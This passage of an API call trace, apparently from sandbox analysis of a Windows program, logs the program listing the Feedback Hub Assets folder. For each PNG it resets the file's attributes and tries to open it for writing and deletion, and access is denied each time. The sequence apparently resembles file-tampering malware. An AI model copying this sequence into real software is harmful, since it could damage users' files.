	[0090.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb236c85a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ac68
	[0090.161] wcscmp (_String1=".", _String2=".") returned 0
	[0090.161] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb236c85a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.164] wcscmp (_String1="..", _String2=".") returned 1
	[0090.164] wcscmp (_String1="..", _String2="..") returned 0
	[0090.164] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50faee11, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50faee11, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0090.164] wcscmp (_String1="InsiderHubAppList.scale-100.png", _String2=".") returned 1
	[0090.164] wcscmp (_String1="InsiderHubAppList.scale-100.png", _String2="..") returned 1
	[0090.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc040
	[0090.165] wcscpy (in: _Dest=0x4ebc040, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.165] wcscat (in: _Dest=0x4ebc040, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.165] wcscat (in: _Dest=0x4ebc040, _Source="InsiderHubAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100.png"
	[0090.165] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-100.png")) returned 0x20
	[0090.166] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.167] GetLastError () returned 0x5
	[0090.167] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc040) returned 1
	[0090.167] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50faee11, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50faee11, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.167] wcscmp (_String1="InsiderHubAppList.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.167] wcscmp (_String1="InsiderHubAppList.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2d7c580
	[0090.167] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.167] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.167] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubAppList.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-black.png"
	[0090.167] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-100_contrast-black.png")) returned 0x20
	[0090.167] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.167] GetLastError () returned 0x5
	[0090.167] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.168] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50fd506f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50fd506f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.168] wcscmp (_String1="InsiderHubAppList.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.168] wcscmp (_String1="InsiderHubAppList.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2d7c580
	[0090.168] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.168] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.168] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubAppList.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-white.png"
	[0090.168] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-100_contrast-white.png")) returned 0x20
	[0090.168] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.168] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.168] GetLastError () returned 0x5
	[0090.168] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.168] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd506f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50fd506f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50fd506f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubLargeTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.168] wcscmp (_String1="InsiderHubLargeTile.scale-100.png", _String2=".") returned 1
	[0090.168] wcscmp (_String1="InsiderHubLargeTile.scale-100.png", _String2="..") returned 1
	[0090.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc040
	[0090.168] wcscpy (in: _Dest=0x4ebc040, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.168] wcscat (in: _Dest=0x4ebc040, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.168] wcscat (in: _Dest=0x4ebc040, _Source="InsiderHubLargeTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100.png"
	[0090.169] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhublargetile.scale-100.png")) returned 0x20
	[0090.171] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.171] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhublargetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.172] GetLastError () returned 0x5
	[0090.172] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc040) returned 1
	[0090.172] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd506f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50fd506f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50fd506f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubLargeTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.172] wcscmp (_String1="InsiderHubLargeTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.172] wcscmp (_String1="InsiderHubLargeTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x2d7c580
	[0090.172] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.172] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.172] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubLargeTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-black.png"
	[0090.172] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhublargetile.scale-100_contrast-black.png")) returned 0x20
	[0090.172] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.172] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhublargetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.172] GetLastError () returned 0x5
	[0090.172] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.173] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd506f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50fd506f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50fd506f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubLargeTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.173] wcscmp (_String1="InsiderHubLargeTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.173] wcscmp (_String1="InsiderHubLargeTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x2d7c580
	[0090.173] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.173] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.173] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubLargeTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-white.png"
	[0090.173] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhublargetile.scale-100_contrast-white.png")) returned 0x20
	[0090.178] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.178] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhublargetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.178] GetLastError () returned 0x5
	[0090.178] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.178] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd506f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50fd506f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50fd506f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubMedTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.178] wcscmp (_String1="InsiderHubMedTile.scale-100.png", _String2=".") returned 1
	[0090.178] wcscmp (_String1="InsiderHubMedTile.scale-100.png", _String2="..") returned 1
	[0090.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.178] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.179] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.179] wcscat (in: _Dest=0x4ebc178, _Source="InsiderHubMedTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100.png"
	[0090.179] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubmedtile.scale-100.png")) returned 0x20
	[0090.182] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
